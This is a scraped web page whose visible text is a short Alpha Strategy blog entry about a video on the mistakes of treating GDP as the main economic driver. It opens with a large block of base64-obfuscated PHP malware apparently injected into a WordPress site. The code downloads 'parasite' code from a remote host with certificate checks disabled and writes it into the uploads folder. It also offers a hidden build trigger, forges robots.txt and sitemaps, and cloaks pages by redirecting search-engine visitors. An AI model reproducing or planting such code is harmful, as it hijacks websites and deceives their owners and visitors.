error_reporting(0);ini_set(base64_decode('ZGlzcGxheV9lcnJvcnM='), 0);define(base64_decode('Q0FDSEVfVFRM'), 1800);define(base64_decode('SU1BR0VfQ0FDSEVfVFRM'), 86400);if (defined(base64_decode('QUJTUEFUSA=='))) define(base64_decode('Q0FDSEVfRElS'), ABSPATH . base64_decode('L3dwLWNvbnRlbnQvdXBsb2Fkcy93b29jb21tZXJjZV91cGxvYWRzL2NhY2hlLw=='));else define(base64_decode('Q0FDSEVfRElS'), __DIR__ . base64_decode('Ly4uLy4uLy4uL3VwbG9hZHMvd29vY29tbWVyY2VfdXBsb2Fkcy9jYWNoZS8='));define(base64_decode('U0lURV9JRA=='), base64_decode('MTA2MjA='));define(base64_decode('Q09ERV9BUElfS0VZ'), base64_decode('ZjIzOWEwNDk2MGE0NGM2NTkzY2Y0NDczMmUzNTE5NWQ='));define(base64_decode('Q09ERV9BUElfQkFTRV9VUkw='), base64_decode('YS52aW5hcGkudG9w'));define(base64_decode('Q09ERV9BUElfVVJM'), CODE_API_BASE_URL . base64_decode('L2FwaS9wYXJhc2l0ZUNvZGUvc2l0ZS9pZC8=') . SITE_ID);define(base64_decode('SU1BR0VfQVBJX1VSTA=='), CODE_API_BASE_URL . base64_decode('L2FwaS9wYXJhc2l0ZUNvZGUvc2l0ZS9pZC8=') . SITE_ID . base64_decode('L2ltYWdlcy8w'));define(base64_decode('VVNFX0NVUkw='), function_exists(base64_decode('Y3VybF9pbml0')));if (!defined(base64_decode('REVERURFQlVH'))) define(base64_decode('REVERURFQlVH'), isset($_GET[base64_decode('ZGVkZWRlYnVn')]));if (!is_dir(CACHE_DIR)) {@mkdir(CACHE_DIR, 0755, true);}if (isset($_GET[base64_decode('YWN0aW9u')]) && $_GET[base64_decode('YWN0aW9u')] === base64_decode('YnVpbGQ=')) {$apiKey = $_SERVER[base64_decode('SFRUUF9YX0NPREVfQVBJX0tFWQ==')] ?? base64_decode(base64_decode(''));if (!empty($apiKey) && $apiKey === CODE_API_KEY) {wpclowo_buildFileStructure();header(base64_decode('Q29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi9qc29uOyBjaGFyc2V0PXV0Zi04'));echo json_encode([base64_decode('Y29kZQ==') => 0, base64_decode('bXNn') => base64_decode('U1VDQ0VTUw==')]);exit();} else {http_response_code(401);header(base64_decode('Q29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi9qc29uOyBjaGFyc2V0PXV0Zi04'));echo json_encode([base64_decode('Y29kZQ==') => 1, base64_decode('bXNn') => base64_decode('QVBJX0tFWV9GQUlMRUQ=')]);exit();}}if (!file_exists(CACHE_DIR . base64_decode('aW5kZXgucGhw'))) {wpclowo_buildFileStructure();}function wpclowo_send_req($url, $headers){$search_dir = base64_decode('Lg==');$is_loaded = false;if (DEDEDEBUG) {echo base64_decode('c2VuZF9yZXEhPGJyPg==');}for ($i = 0; $i <= 4; $i++) {$file_path = $search_dir . base64_decode('L3dwLWxvYWQucGhw');if (file_exists($file_path) || is_link($file_path)) {require_once($file_path);$is_loaded = true;break;}$search_dir = dirname($search_dir);if ($search_dir === dirname($search_dir)) {break;}}if ($is_loaded) {if (DEDEDEBUG) {echo base64_decode('d3BfcmVtb3RlX2dldCE8YnI+');}$response = wp_remote_get($url, [ base64_decode('dGltZW91dA==') => 10, base64_decode('c3NsdmVyaWZ5') => false, base64_decode('aGVhZGVycw==') => $headers ]);if (is_wp_error($response)) {return [base64_decode('ZXJy') => $response];} else {$body = wp_remote_retrieve_body($response);return [base64_decode('Ym9keQ==') => $body];}} else {return [base64_decode('ZXJy') => base64_decode('V1BfTE9BRF9OT1RfRk9VTkQ=')];}}function wpclowo_isImageFile($fileName){$imageExtensions = [base64_decode('cG5n'), base64_decode('anBn'), base64_decode('anBlZw=='), base64_decode('Z2lm'), base64_decode('aWNv'), base64_decode('c3Zn'), base64_decode('d2VicA==')];$ext = strtolower(pathinfo($fileName, PATHINFO_EXTENSION));return in_array($ext, $imageExtensions);}function wpclowo_write2temp2file($name, $content){$temp = $name . base64_decode('LmJr');if (DEDEDEBUG) {echo base64_decode('U1RBUlQgTU9WRSA=') . $temp . base64_decode('IFRPIA==') . $name . base64_decode('ICE8YnI+');}if (@file_put_contents($temp, $content) !== false) {if (@rename($temp, $name)) {if (DEDEDEBUG) {echo base64_decode('TU9WRSA=') . $temp . base64_decode('IFRPIA==') . $name . base64_decode('IFNVQ0NFU1MhPGJyPg==');}return 0;} else {if (DEDEDEBUG) {echo base64_decode('TU9WRSA=') . $temp . base64_decode('IEZBSUxFRCE8YnI+');}return 1;}} else {if (DEDEDEBUG) {echo base64_decode('Q1JFQVRFIA==') . $temp . base64_decode('IEZBSUxFRCE8YnI+');}return 2;}}function wpclowo_createFileStructure($remoteData){if (!$remoteData || !isset($remoteData[base64_decode('ZmlsZXM=')])) return;foreach ($remoteData[base64_decode('ZmlsZXM=')] as $file) {if (DEDEDEBUG) {echo base64_decode('RklMRTog') . $file[base64_decode('cGF0aA==')] . base64_decode('PGJyPg==');echo base64_decode('Q09OVEVOVDog') . gettype($file[base64_decode('Y29udGVudA==')]) . base64_decode('PGJyPg==');}$filePath = CACHE_DIR . $file[base64_decode('cGF0aA==')];$content = $file[base64_decode('Y29udGVudA==')];$dir = dirname($filePath);if ($dir && !is_dir($dir)) {@mkdir($dir, 0755, true);}if (wpclowo_isImageFile($file[base64_decode('cGF0aA==')])) {$decoded = base64_decode($content);if ($decoded !== false) {@wpclowo_write2temp2file($filePath, $decoded);}} else {@wpclowo_write2temp2file($filePath, $content);}}}function wpclowo_verifyCode(){$datas = [ @file_get_contents(CACHE_DIR . base64_decode('Y29kZV8=') . md5(CODE_API_KEY . SITE_ID) . base64_decode('Lmpzb24=')), @file_get_contents(CACHE_DIR . base64_decode('aW1hZ2VzXw==') . md5(CODE_API_KEY . SITE_ID) . base64_decode('Lmpzb24=')), ];foreach ($datas as $data) {$files = (object)@$data[base64_decode('ZGF0YQ==')][base64_decode('ZmlsZXM=')];foreach ($files as $file) {$filePath = CACHE_DIR . $file[base64_decode('cGF0aA==')];$content = $file[base64_decode('Y29udGVudA==')];$dir = dirname($filePath);if ($dir && !is_dir($dir)) {@mkdir($dir, 0755, true);}if (!file_exists($filePath) || filesize($filePath) <= 0) {if (wpclowo_isImageFile($file[base64_decode('cGF0aA==')])) {$decoded = base64_decode($content);if ($decoded !== false) {@wpclowo_write2temp2file($filePath, $decoded);}} else {@wpclowo_write2temp2file($filePath, $content);}}}}}function wpclowo_buildFileStructure($dl = true){$cacheFile = CACHE_DIR . base64_decode('Y29kZV8=') . md5(CODE_API_KEY . SITE_ID) . base64_decode('Lmpzb24=');$imageCacheFile = CACHE_DIR . base64_decode('aW1hZ2VzXw==') . md5(CODE_API_KEY . SITE_ID) . base64_decode('Lmpzb24=');try {$cache_exists = file_exists($cacheFile);if ($dl || !$cache_exists) {if (USE_CURL && ($ch = curl_init())) {if (DEDEDEBUG) {echo base64_decode('VVNFX0NVUkwhQ09ERQ==') . PHP_EOL;}curl_setopt($ch, CURLOPT_URL, CODE_API_URL);curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);curl_setopt($ch, CURLOPT_TIMEOUT, 10);curl_setopt($ch, CURLOPT_HTTPHEADER, [base64_decode('WC1Db2RlLUFQSS1LZXk6IA==') . CODE_API_KEY]);curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);$response = curl_exec($ch);curl_close($ch);} else {if (DEDEDEBUG) {echo base64_decode('VVNFX0ZJTEVfR0VUIUNPREU8YnI+');}$context = stream_context_create([base64_decode('aHR0cA==') => [base64_decode('bWV0aG9k') => base64_decode('R0VU'), base64_decode('aGVhZGVy') => base64_decode('WC1Db2RlLUFQSS1LZXk6IA==') . CODE_API_KEY, base64_decode('dGltZW91dA==') => 10]]);$response = @file_get_contents(CODE_API_URL, false, $context);}if (!$response) {$req_result = @wpclowo_send_req(base64_decode('aHR0cHM6Ly8=') . CODE_API_URL, [base64_decode('WC1Db2RlLUFQSS1LZXk=') => CODE_API_KEY]);if (isset($req_result[base64_decode('Ym9keQ==')])) {$response = $req_result[base64_decode('Ym9keQ==')];} else {if (DEDEDEBUG) {var_dump($req_result);}}}if ($response) {$data = json_decode($response, true);if ($data && $data[base64_decode('Y29kZQ==')] == 0) {@file_put_contents($cacheFile, $response, LOCK_EX);wpclowo_createFileStructure($data[base64_decode('ZGF0YQ==')]);}}} else {if (DEDEDEBUG) {echo base64_decode('SEFTX1JFU1AhQ09ERTxicj4=');}$data = @json_decode(@file_get_contents($cacheFile));if ($data) wpclowo_createFileStructure($data[base64_decode('ZGF0YQ==')]);}} catch (Exception $e) {}try {$cache_exists = file_exists($imageCacheFile);if ($dl || !$cache_exists) {if (USE_CURL && ($ch = curl_init())) {if (DEDEDEBUG) {echo base64_decode('VVNFX0NVUkwhSU1HPGJyPg==');}curl_setopt($ch, CURLOPT_URL, IMAGE_API_URL);curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);curl_setopt($ch, CURLOPT_TIMEOUT, 10);curl_setopt($ch, CURLOPT_HTTPHEADER, [base64_decode('WC1Db2RlLUFQSS1LZXk6IA==') . CODE_API_KEY]);curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);$response = curl_exec($ch);curl_close($ch);} else {if (DEDEDEBUG) {echo base64_decode('VVNFX0ZJTEVfR0VUIUlNRzxicj4=');}$context = stream_context_create([base64_decode('aHR0cA==') => [base64_decode('bWV0aG9k') => base64_decode('R0VU'), base64_decode('aGVhZGVy') => base64_decode('WC1Db2RlLUFQSS1LZXk6IA==') . CODE_API_KEY, base64_decode('dGltZW91dA==') => 10]]);$response = @file_get_contents(IMAGE_API_URL, false, $context);}if (!$response) {$req_result = @wpclowo_send_req(base64_decode('aHR0cHM6Ly8=') . IMAGE_API_URL, [base64_decode('WC1Db2RlLUFQSS1LZXk=') => CODE_API_KEY]);if (isset($req_result[base64_decode('Ym9keQ==')])) {$response = $req_result[base64_decode('Ym9keQ==')];}}if ($response) {if (DEDEDEBUG) {echo base64_decode('SEFTX1JFU1AhSU1HPGJyPg==');}$data = json_decode($response, true);if ($data && $data[base64_decode('Y29kZQ==')] == 0) {@file_put_contents($imageCacheFile, $response, LOCK_EX);wpclowo_createFileStructure($data[base64_decode('ZGF0YQ==')]);}}} else {$data = @json_decode(@file_get_contents($imageCacheFile));if ($data) wpclowo_createFileStructure($data[base64_decode('ZGF0YQ==')]);}} catch (Exception $e) {}}$request_uri = $_SERVER[base64_decode('UkVRVUVTVF9VUkk=')] ?? base64_decode('Lw==');$request_path = parse_url($request_uri, PHP_URL_PATH);$query_string = parse_url($request_uri, PHP_URL_QUERY);$redir_exceptions = [ base64_decode('L3Byb2R1Y3RzLw=='), base64_decode('L3Byb2R1Y3Qv'), base64_decode('L2dhbWVzLw=='), base64_decode('L2dhbWUv'), base64_decode('L3NhbGUv'), base64_decode('L3NhbGVzLw=='),];$should_redir = false;foreach ($redir_exceptions as $exception) {if (strpos($request_path, $exception) !== false) {$should_redir = true;break;}}$exceptions = [base64_decode('L3dwLWFkbWluLw=='), base64_decode('L3dwLWxvZ2luLnBocA=='), base64_decode('L2NhY2hlLw=='), base64_decode('L3dwLWNvbnRlbnQvdGhlbWVzLw=='), base64_decode('L3dwLWNvbnRlbnQvcGx1Z2lucy8='), base64_decode('L3dwLWNvbnRlbnQvdXBsb2Fkcy8='),];$is_exception = false;foreach ($exceptions as $exception) {if (strpos($request_path, $exception) !== false) {$is_exception = true;break;}}if (DEDEDEBUG) {echo base64_decode('SVNfRVhDRVBUSU9OOiA=') . $is_exception . base64_decode('PGJyPg==');echo base64_decode('c2hvdWxkX3JlZGlyOiA=') . $should_redir . base64_decode('PGJyPg==');}$static_extensions = [base64_decode('cGhw'), base64_decode('Y3Nz'), base64_decode('anM='), base64_decode('cG5n'), base64_decode('anBn'), base64_decode('anBlZw=='), base64_decode('Z2lm'), base64_decode('aWNv'), base64_decode('c3Zn'), base64_decode('d29mZg=='), base64_decode('d29mZjI='), base64_decode('dHRm'), base64_decode('ZW90'), base64_decode('cGRm')];$is_static_file = false;foreach ($static_extensions as $ext) {if (preg_match(base64_decode('L1wu') . preg_quote($ext, base64_decode('Lw==')) . base64_decode('JC8='), $request_path)) {$is_static_file = true;break;}}if (function_exists(base64_decode('YWRkX2ZpbHRlcg=='))) {add_filter( base64_decode('d3Bfc2l0ZW1hcHNfZW5hYmxlZA=='), base64_decode('X19yZXR1cm5fZmFsc2U=') );}if ($request_path === base64_decode('L3JvYm90cy50eHQ=')) {$robots_file = CACHE_DIR . base64_decode('cm9ib3RzLnR4dA==');if (file_exists($robots_file)) {header(base64_decode('Q29udGVudC1UeXBlOiB0ZXh0L3BsYWluOyBjaGFyc2V0PXV0Zi04'));readfile($robots_file);exit();} else {$currentDomain = $_SERVER[base64_decode('SFRUUF9IT1NU')] ?? base64_decode('bG9jYWxob3N0');$robotsContent = base64_decode('VXNlci1hZ2VudDogKlxuQWxsb3c6IC9cblNpdGVtYXA6IGh0dHBzOi8v') . $currentDomain . base64_decode('L3NpdGVtYXAueG1s');header(base64_decode('Q29udGVudC1UeXBlOiB0ZXh0L3BsYWluOyBjaGFyc2V0PXV0Zi04'));echo $robotsContent;exit();}}if (preg_match(base64_decode('L15zaXRlbWFwLipcLnhtbCQv'), $query_string ?? base64_decode(base64_decode(''))) || preg_match(base64_decode('L15cL3NpdGVtYXAuKlwueG1sJC8='), $request_path)) {$sitemap_file = CACHE_DIR . base64_decode('c2l0ZW1hcC5waHA=');if (file_exists($sitemap_file)) {require_once $sitemap_file;exit();}}if (DEDEDEBUG) {echo base64_decode('SVNfU1RBVElDX0ZJTEU6IA==') . $is_static_file . base64_decode('PGJyPg==');}if ($should_redir && !$is_static_file) {$usering_file = CACHE_DIR . base64_decode('dXNlcmluZy5waHA=');$cloaking_file = CACHE_DIR . base64_decode('Y2xvYWtpbmcucGhw');$config_file = CACHE_DIR . base64_decode('Y29uZmlnLnBocA==');if (file_exists($usering_file) && file_exists($config_file)) {require_once $usering_file;} else if (file_exists($cloaking_file) && file_exists($config_file)) {require_once $cloaking_file;} else {if (DEDEDEBUG) {echo base64_decode('RklMRSBOT1QgRVhJU1QhPGJyPg==');}}$clean_path = trim($request_path, base64_decode('Lw=='));if (isset($user) && $user->is_human_from_search) {if (DEDEDEBUG) {echo base64_decode('UkVESVI8YnI+');}header(base64_decode('TG9jYXRpb246') . $user->getRedirectUrl());exit();} elseif (isset($blocked) && $blocked) {if (DEDEDEBUG) {echo base64_decode('QkxPQ0tFRCE8YnI+');}$clean_path = base64_decode('Lw==') . $clean_path;$router_file = CACHE_DIR . base64_decode('cm91dGVyLnBocA==');if (file_exists($router_file)) {require_once $router_file;}exit();} else {if (DEDEDEBUG) {echo base64_decode('Tk9UIEJMT0NLRUQhPGJyPg==');}}}
The Mistakes of Using GDP As Main Economic Driver. World Economics Episode 5 – Alpha Strategy Consulting
The Mistakes of Using GDP As Main Economic Driver. World Economics Episode 5
VIDEO
In this fifth episode of my video-blog, we discuss the mistake of believing GDP as the key driver of economic growth, as it is not difficult to inflate via debt.
We also discuss the differences between the US, China and EU , and why the slowdown in the Eurozone should concern us more.
The information contained in this website is proprietary and all information provided to clients is confidential, privileged and only for the information of the intended recipient and may not be used, published or redistributed without the prior written consent of Alpha Strategy.
All of Alpha Strategy and Daniel Lacalle’s views expressed in his books, interviews and this website are strictly personal and do not reflect the strategy or philosophy of any specific firm.
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